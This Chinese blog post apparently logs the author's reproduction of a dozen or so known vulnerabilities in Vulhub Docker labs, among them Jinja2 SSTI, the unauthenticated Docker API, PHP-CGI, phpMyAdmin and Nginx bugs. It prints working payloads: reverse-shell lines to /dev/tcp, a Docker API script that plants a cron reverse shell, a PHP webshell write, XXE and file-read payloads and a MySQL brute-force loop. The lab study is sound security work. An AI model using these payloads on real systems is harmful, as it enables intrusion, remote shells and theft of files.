Vulhub 漏洞复现

Vulhub是一个基于dockerdocker-compose的漏洞环境集合,进入对应目录并执行一条语句即可启动一个全新的漏洞环境。旨在让漏洞复现变得更加简单,让安全研究者更加专注于漏洞原理本身。
官网:https://vulhub.org/
Github地址:https://github.com/vulhub/vulhub
搭建环境踩过的坑:启动docker 服务时 虚拟机端口转发 外部无法访问

解决办法:
# vi /etc/sysctl.conf
或者
# vi /usr/lib/sysctl.d/00-system.conf
添加如下代码:
    net.ipv4.ip_forward=1

重启network服务
# systemctl restart network

查看是否修改成功
# sysctl net.ipv4.ip_forward

先复现自己学过的东西,其他的以后慢慢补坑

Flask(Jinja2) 服务端模板注入漏洞

源码
app.py

from flask import Flask, request
from jinja2 import Template

app = Flask(__name__)

@app.route("/")
def index():
    name = request.args.get('name', 'guest')

    t = Template("Hello " + name)
    return t.render()

if __name__ == "__main__":
app.run()

简单的SSTI,无任何过滤。
name={{7*'7'}}返回Hello 7777777,说明存在SSTI。
python2

#读文件:
{{ ''.__class__.__mro__[2].__subclasses__()[40]('/etc/passwd').read() }}
#写文件:
{{ ''.__class__.__mro__[2].__subclasses__()[40]('/tmp/1').write("") }}

也可以通过写jinja2的environment.py执行命令; jinja2的模板会load这个module,而且这个environment.py import了os模块, 所以只要能写这个文件,就可以执行任意命令:

#假设在/usr/lib/python2.7/dist-packages/jinja2/environment.py, 弹一个shell
{{ ''.__class__.__mro__[2].__subclasses__()[40]('/usr/lib/python2.7/dist-packages/jinja2/environment.py').write("\nos.system('bash -i >& /dev/tcp/[IP_ADDR]/[PORT] 0>&1')") }}

这里给的环境是python3的

#命令执行:
{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].eval("__import__('os').popen('id').read()") }}{% endif %}{% endfor %}
#文件操作
{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].open('filename', 'r').read() }}{% endif %}{% endfor %}

图片.png
图片.png

Apache HTTPD 换行解析漏洞(CVE-2017-15715)

Apache HTTPD是一款HTTP服务器,它可以通过mod_php来运行PHP网页。其2.4.0~2.4.29版本中存在一个解析漏洞,在解析PHP时,1.php\x0A将被按照PHP后缀进行解析,导致绕过一些服务器的安全策略。
上传1.php被拦截
图片.png
在1.php后面插入一个\x0A(注意,不能是\x0D\x0A,只能是一个\x0A),不再拦截:
图片.png
访问刚才上传的/1.php%0a,发现能够成功解析,但这个文件不是php后缀,说明目标存在解析漏洞:
图片.png

docker daemon api 未授权访问漏洞

漏洞原理
默认情况下,docker daemon监听unix domain socket /var/run/docker.sock,只有本机上的root和docker组用户才能操作docker。
docker 在使用集群管理(如:Kubernetes,swarm)时,要使用remote api对节点进行管理.remote api无认证时的默认端口是2375(需要TLS认证默认登录是2376)。 remote api默认是可以不需要认证能直接访问,能直接对docker进行操作,如新建容器,删除容器,查看镜像容器信息等…
漏洞利用
远程启动被攻击主机的docker容器.并挂载宿主机的目录,通过容器修改宿主机的authrized_keys文件,写入公钥。或者将命令写入crontab配置文件,进行反弹shell。
http://ip:2375/info返回json信息,证明漏洞存在
图片.png
查看镜像

root@kali:~# docker -H=tcp://ip:2375 images
REPOSITORY          TAG                 IMAGE ID            CREATED             SIZE
alpine              latest              196d12cf6ab1        5 weeks ago         4.41MB

列出所有容器

root@kali:~# docker -H=tcp://ip:2375 ps -a
CONTAINER ID        IMAGE               COMMAND             CREATED              STATUS                    PORTS               NAMES
b1a37a04eb01        alpine:latest       "/bin/sh"           About a minute ago   Exited (0) 1 second ago                       sad_kilby

start 启动一个已经停止的容器
attach 连接一个已经停止的容器
新运行一个容器并将entrypoint设置为/bin/bash或者/bin/sh,挂载点设置为服务器的根目录挂载至/tmp目录下。
这里的容器没有bash,只有sh。

root@kali:~# docker -H=tcp://ip:2375 run -it -v /:/tmp --entrypoint /bin/sh alpine:latest

图片.png

python脚本,写计划任务反弹shell。

import docker

client = docker.DockerClient(base_url='http://ip:2375/')
data = client.containers.run('alpine:latest', r'''sh -c "echo '* * * * * /usr/bin/bash -i >& /dev/tcp/ip/8080 0>&1' >> /tmp/var/spool/cron/root" ''', remove=True, volumes={'/var': {'bind': '/tmp/var', 'mode': 'rw'}})

服务器提权
* 启动一个容器,挂载宿主机的/root/目录,之后将攻击者的ssh公钥~/.ssh/id_rsa.pub的内容写到入宿主机的/root/.ssh/authorized_keys文件中,之后就可以用root账户直接登录了。
* 启动一个容器,挂载宿主机的/etc/目录,之后将反弹shell的脚本写入到/etc/crontab中反弹shell。

修复方案
* 使用TLS认证(很麻烦)
* docker集群放在内网不对外暴露2375端口且使用iptable进行白名单控制

PHP-FPM Fastcgi 未授权访问漏洞

原理

详见 https://www.leavesongs.com/PENETRATION/fastcgi-and-php-fpm.html
fpm.py地址:https://gist.github.com/phith0n/9615e2420f31048f7e30f3937356cf75

payload:

python fpm.py ip /usr/local/lib/php/PEAR.php -c '<?php echo `id`; exit; ?>'

windows下运行不了,需要在linux下运行
图片.png

OpenSSH 用户名枚举漏洞(CVE-2018-15473)

OpenSSH 7.7前存在一个用户名枚举漏洞,通过该漏洞,攻击者可以判断某个用户名是否存在于目标主机中。
漏洞原理:https://www.anquanke.com/post/id/157607
CVE-2018-15473-Exploit

漏洞复现
容器将22端口映射到靶机20022端口

python3 sshUsernameEnumExploit.py --port 20022 --userList exampleInput.txt ip

图片.png

HTTPoxy漏洞(CVE-2016-5385)

漏洞原理:http://www.laruence.com/2016/07/19/3101.html
简单来说,根据RFC 3875规定,cgi(fastcgi)要将用户传入的所有HTTP头都加上HTTP_前缀放入环境变量中,而恰好大多数类库约定俗成会提取环境变量中的HTTP_PROXY值作为HTTP代理地址。于是,恶意用户通过提交Proxy: http://evil.com这样的HTTP头,将使用缺陷类库的网站的代理设置为http://evil.com,进而窃取数据包中可能存在的敏感信息。

PHP5.6.24版本修复了该漏洞,不会再将Proxy放入环境变量中。本环境使用PHP 5.6.23为例。
该漏洞不止影响PHP,所有以CGI或Fastcgi运行的程序理论上都受到影响。

漏洞前提
* 你的服务会对外请求资源
* 你的服务使用了HTTP_PROXY(大写的)环境变量来代理你的请求(可能是你自己写,或是使用一些有缺陷的类库)
* 你的服务跑在PHP的CGI模式下(cgi, php-fpm)

漏洞复现
这里环境搭不出来,直接用官方截图好了
正常请求http://ip/index.php,可见其Origin为当前请求的服务器,二者IP相等:
图片.png
在其他地方找到一个可以正常运行的http代理,如http://x.x.122.65:8888/
附带Proxy: http://x.x.122.65:8888/头,再次访问http://your-ip/index.php
图片.png
如上图,可见此时的Origin已经变成x.x.122.65,也就是说真正进行HTTP访问的服务器是x.x.122.65,也就是说x.x.122.65已经将正常的HTTP请求代理了。
x.x.122.65上使用NC,就可以捕获当前请求的数据包,其中可能包含敏感数据:
图片.png

Mysql 身份认证绕过漏洞(CVE-2012-2122)

当连接MariaDB/MySQL时,输入的密码会与期望的正确密码比较,由于不正确的处理,会导致即便是memcmp()返回一个非零值,也会使MySQL认为两个密码是相同的。 也就是说只要知道用户名,不断尝试就能够直接登入SQL数据库。按照公告说法大约256次就能够蒙对一次。
受影响的版本:
All MariaDB and MySQL versions up to 5.1.61, 5.2.11, 5.3.5, 5.5.22 are vulnerable.
MariaDB versions from 5.1.62, 5.2.12, 5.3.6, 5.5.23 are not.
MySQL versions from 5.1.63, 5.5.24, 5.6.6 are not.
漏洞复现
环境启动后,将启动一个Mysql服务(版本:5.5.23),监听3306端口,通过正常的Mysql客户端,可以直接登录的,正确root密码是123456。

在不知道我们环境正确密码的情况下,在bash下运行如下命令,在一定数量尝试后便可成功登录:

for i in `seq 1 1000`; do mysql -uroot -pwrong -h your-ip -P3306 ; done

图片.png
图片.png

Nginx 文件名逻辑漏洞(CVE-2013-4547)

影响版本:Nginx 0.8.41 ~ 1.4.3 / 1.5.0 ~ 1.5.7
漏洞原理:
http://www.91ri.org/9064.html

文件解析漏洞总结-Nginx

漏洞说明
非法字符空格和截止符(\0)会导致Nginx解析URI时的有限状态机混乱,危害是允许攻击者通过一个非编码空格绕过后缀名限制。
例如访问

http://127.0.0.1/file.aaa \0.bbb

可以让Nginx认为文件file.aaa的后缀为“.bbb”。
ps:新版本的php引入了security.limit_extensions,限制了可执行文件的后缀,默认只允许执行.php文件。
漏洞复现
环境启动后,访问http://ip:8080/即可看到一个上传页面。

这个环境是黑名单验证,我们无法上传php后缀的文件,需要利用CVE-2013-4547。我们上传一个1.gif,注意后面的空格:
图片.png
访问http://your-ip:8080/uploadfiles/1.gif[0x20][0x00].php,即可发现PHP已被解析:
图片.png

Nginx越界读取缓存漏洞(CVE-2017-7529)

当使用Nginx标准模块时,攻击者可以通过发送包含恶意构造range域的header请求,来获取响应中的缓存文件头部信息。在某些配置中,缓存文件头可能包含后端服务器的IP地址或其它敏感信息,从而导致信息泄露。
漏洞原理
https://cert.360.cn/warning/detail?id=b879782fbad4a7f773b6c18490d67ac7
http://galaxylab.org/cve-2017-7529-nginx%E6%95%B4%E6%95%B0%E6%BA%A2%E5%87%BA%E6%BC%8F%E6%B4%9E%E5%88%86%E6%9E%90/
Nginx在反向代理站点的时候,通常会将一些文件进行缓存,特别是静态文件。缓存的部分存储在文件中,每个缓存文件包括文件头+HTTP返回包头+HTTP返回包体。如果二次请求命中了该缓存文件,则Nginx会直接将该文件中的HTTP返回包体返回给用户。
如果我的请求中包含Range头,Nginx将会根据我指定的start和end位置,返回指定长度的内容。而如果我构造了两个负的位置,如(-600, -9223372036854774591),将可能读取到负位置的数据。如果这次请求又命中了缓存文件,则可能就可以读取到缓存文件中位于HTTP返回包体前的文件头HTTP返回包头等内容。
影响范围
Nginx 0.5.6 – 1.13.2
漏洞复现
访问http://your-ip:8080/,即可查看到Nginx默认页面,这个页面实际上是反向代理的8081端口的内容。
图片.png
可见,越界读取到了位于HTTP返回包体前的文件头HTTP返回包头等内容。

PHP-CGI远程代码执行漏洞(CVE-2012-1823)

用户请求的querystring被作为了php-cgi的参数,最终导致了一系列结果。
影响版本
php < 5.3.12 or php < 5.4.2
漏洞原理
http://eindbazen.net/2012/05/php-cgi-advisory-cve-2012-1823/
p牛讲的很详细:https://vulhub.org/#/environments/php/CVE-2012-1823/
漏洞复现
cgi模式下有如下一些参数可用:

-c 指定php.ini文件的位置
-n 不要加载php.ini文件
-d 指定配置项
-b 启动fastcgi进程
-s 显示文件源码
-T 执行指定次该文件
-h和-? 显示帮助

通过使用-d指定auto_prepend_file来制造任意文件包含漏洞,执行任意代码:
auto_prepend_fileauto_append_file:将文件require到所有页面的顶部与底部。
空格用+%20代替,=用url编码代替。
payload:-d+allow_url_include%3don+-d+auto_prepend_file%3dphp%3a//input
图片.png
CVE-2012-2311
这个漏洞被爆出来以后,PHP官方对其进行了修补,发布了新版本5.4.2及5.3.12,但这个修复是不完全的,可以被绕过,进而衍生出CVE-2012-2311漏洞。
PHP的修复方法是对-进行了检查,获取querystring后进行解码,如果第一个字符是-则设置skip_getopt,也就是不要获取命令行参数。
这个修复方法不安全的地方在于,如果运维对php-cgi进行了一层封装的情况下:

#!/bin/sh
exec /usr/local/bin/php-cgi $*

通过使用空白符加-的方式,也能传入参数。这时候querystring的第一个字符就是空白符而不是-了,绕过了上述检查。

PHP文件包含漏洞(利用phpinfo)

图片.png
漏洞复现
exp.py:https://github.com/vulhub/vulhub/blob/master/php/inclusion/exp.py
利用脚本exp.py实现了上述过程,成功包含临时文件后,会执行<?php file_put_contents('/tmp/g', '<?=eval($_REQUEST[1])?>')?>,写入一个新的文件/tmp/g,这个文件就会永久留在目标机器上。
图片.png
利用lfi.php,即可执行任意命令:
图片.png

PHP环境 XML外部实体注入漏洞(XXE)

libxml2.9.0以后,默认不解析外部实体,导致XXE漏洞逐渐消亡。为了演示PHP环境下的XXE漏洞,本例会将libxml2.8.0版本编译进PHP中。PHP版本并不影响XXE利用。
漏洞环境
Web目录为./www,其中包含4个文件:

├── dom.php # 示例:使用DOMDocument解析body
├── index.php
├── SimpleXMLElement.php # 示例:使用SimpleXMLElement类解析body
└── simplexml_load_string.php # 示例:使用simplexml_load_string函数解析body

dom.php、SimpleXMLElement.php、simplexml_load_string.php均可触发XXE漏洞
Simple XXE Payload:

<?xml version="1.0" encoding="utf-8"?> 
<!DOCTYPE xxe [
<!ELEMENT name ANY >
<!ENTITY xxe SYSTEM "file:///etc/passwd" >]>
<root>
<name>&xxe;</name>
</root>

图片.png

PHPMailer 任意文件读取漏洞(CVE-2017-5223)

漏洞原理
PHPMailer在发送邮件的过程中,会在邮件内容中寻找图片标签(<img src="...">),并将其src属性的值提取出来作为附件。所以,如果我们能控制部分邮件内容,可以利用<img src="/etc/passwd">将文件/etc/passwd作为附件读取出来,造成任意文件读取漏洞。
漏洞环境
在当前目录下创建文件.env,内容如下(将其中的配置值修改成你的smtp服务器、账户、密码):

SMTP_SERVER=smtp.qq.com
SMTP_PORT=587
SMTP_EMAIL=youremail.com
SMTP_PASSWORD=secret
SMTP_SECURE=tls

SMTP_SECURE是SMTP加密方式,可以填写none、ssl或tls。
漏洞复现
意见反馈页面,正常用户填写昵称、邮箱、意见提交,这些信息将被后端储存,同时后端会发送一封邮件提示用户意见填写完成:
图片.png

该场景在实战中很常见,比如用户注册网站成功后,通常会收到一封包含自己昵称的通知邮件,那么,我们在昵称中插入恶意代码<img src="/etc/passwd">,目标服务器上的文件将以附件的形式被读取出来。

同样,我们填写恶意代码在“意见”的位置:
图片.png
但这里并没有附件,可能是QQ邮箱的原因
图片.png
但我在邮件原文里找到了经过base64加密的/etc/passwd文件
图片.png
图片.png
同样,昵称写成<img src="/etc/passwd">也是可以的。

phpMyAdmin 4.8.1 远程文件包含漏洞(CVE-2018-12613)

phpMyAdmin是一套开源的、基于Web的MySQL数据库管理工具。其index.php中存在一处文件包含逻辑,通过二次编码?即可绕过检查,造成远程文件包含漏洞。
漏洞原理
https://mp.weixin.qq.com/s/HZcS2HdUtqz10jUEN57aog
漏洞复现
访问http://your-ip:8080/index.php?target=db_sql.php%253f/../../../../../../../../etc/passwd,可见/etc/passwd被读取,说明文件包含漏洞存在:
图片.png
利用方式也比较简单,可以执行一下SELECT '<?=phpinfo()?>';,然后查看自己的sessionid(cookie中phpMyAdmin的值),然后包含session文件即可:
图片.png
payload:http://ip.128:8080/index.php?target=db_sql.php%253f/..../../../../../.././tmp/sess_sessionid
图片.png

phpMyAdmin 4.0.x—4.6.2 远程代码执行漏洞(CVE-2016-5734)

漏洞原理
phpMyAdmin是一套开源的、基于Web的MySQL数据库管理工具。在其查找并替换字符串功能中,将用户输入的信息拼接进preg_replace函数第一个参数中。

在PHP5.4.7以前,preg_replace的第一个参数可以利用\0进行截断,并将正则模式修改为e。众所周知,e模式的正则支持执行代码,此时将可构造一个任意代码执行漏洞。

影响版本
* 4.0.10.16之前4.0.x版本
* 4.4.15.7之前4.4.x版本
* 4.6.3之前4.6.x版本(实际上由于该版本要求PHP5.5+,所以无法复现本漏洞)
PHP 4.3.0-5.4.6 versions

漏洞复现
poc:https://www.exploit-db.com/exploits/40185/

./cve-2016-5734.py -c 'system(id);' -u root -p root -d test http://your-ip:8080/

-d是已经可以写的数据库,-c是待执行的PHP语句,如果没有指定表名,这个POC会创建一个名为prgpwn的表。
图片.png

phpMyAdmin scripts/setup.php 反序列化漏洞(WooYun-2016-199433)

phpmyadmin 2.x版本中存在一处反序列化漏洞,通过该漏洞,攻击者可以读取任意文件或执行任意代码。
漏洞复现
发送如下数据包,读取/etc/passwd/

POST /scripts/setup.php HTTP/1.1
Host: your-ip:8080
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 80

action=test&configuration=O:10:"PMA_Config":1:{s:6:"source",s:11:"/etc/passwd";}

图片.png

Nginx 配置错误导致漏洞

参考:三个案例看Nginx配置安全
1. CRLF注入漏洞
配置Nginx进行URL跳转时,我们需要保证用户访问的页面不变,所以需要从Nginx获取用户请求的文件路径。查看Nginx文档,可以发现有三个表示uri的变量:

1、$uri
2、$document_uri
3、$request_uri

1和2表示的是解码以后的请求路径,不带参数;3表示的是完整的URI(没有解码)
如果配置了如下代码

location / {
    return 302 https://$host$uri;
}

Nginx会将$uri进行解码,导致传入%0a%0d即可引入换行符,造成CRLF注入漏洞。
Payload: http://your-ip:8080/%0a%0dSet-Cookie:%20a=1,可注入Set-Cookie头。
图片.png

利用CSP禁止iframe跳转来XSS

<?php
header("Content-Security-Policy: frame-src http://ip:8080/");
?> 
<iframe src="http://ip:8080/%0a%0dX-XSS-Protection:0%0a%0d%0a%0d%3Cimg%20src=1%20onerror=alert(1)%3E"></iframe>

不会弹窗,不知道为什么
2. 目录穿越漏洞
Nginx在配置别名(Alias)的时候,如果忘记加/,将造成一个目录穿越漏洞。

location /files {
    alias /home/;
}

图片.png
图片.png
3. add_header被覆盖
Nginx配置文件子块(server、location、if)中的add_header,将会覆盖父块中的add_header添加的HTTP头,造成一些安全隐患。
如下列代码,整站(父块中)添加了CSP头:

add_header Content-Security-Policy "default-src 'self'";
add_header X-Frame-Options DENY;

location = /test1 {
    rewrite ^(.*)$ /xss.html break;
}

location = /test2 {
    add_header X-Content-Type-Options nosniff;
    rewrite ^(.*)$ /xss.html break;
}

/test2location中又添加了X-Content-Type-Options头,导致父块中的add_header全部失效:
test1
图片.png

test2
图片.png

发表评论

电子邮件地址不会被公开。 必填项已用*标注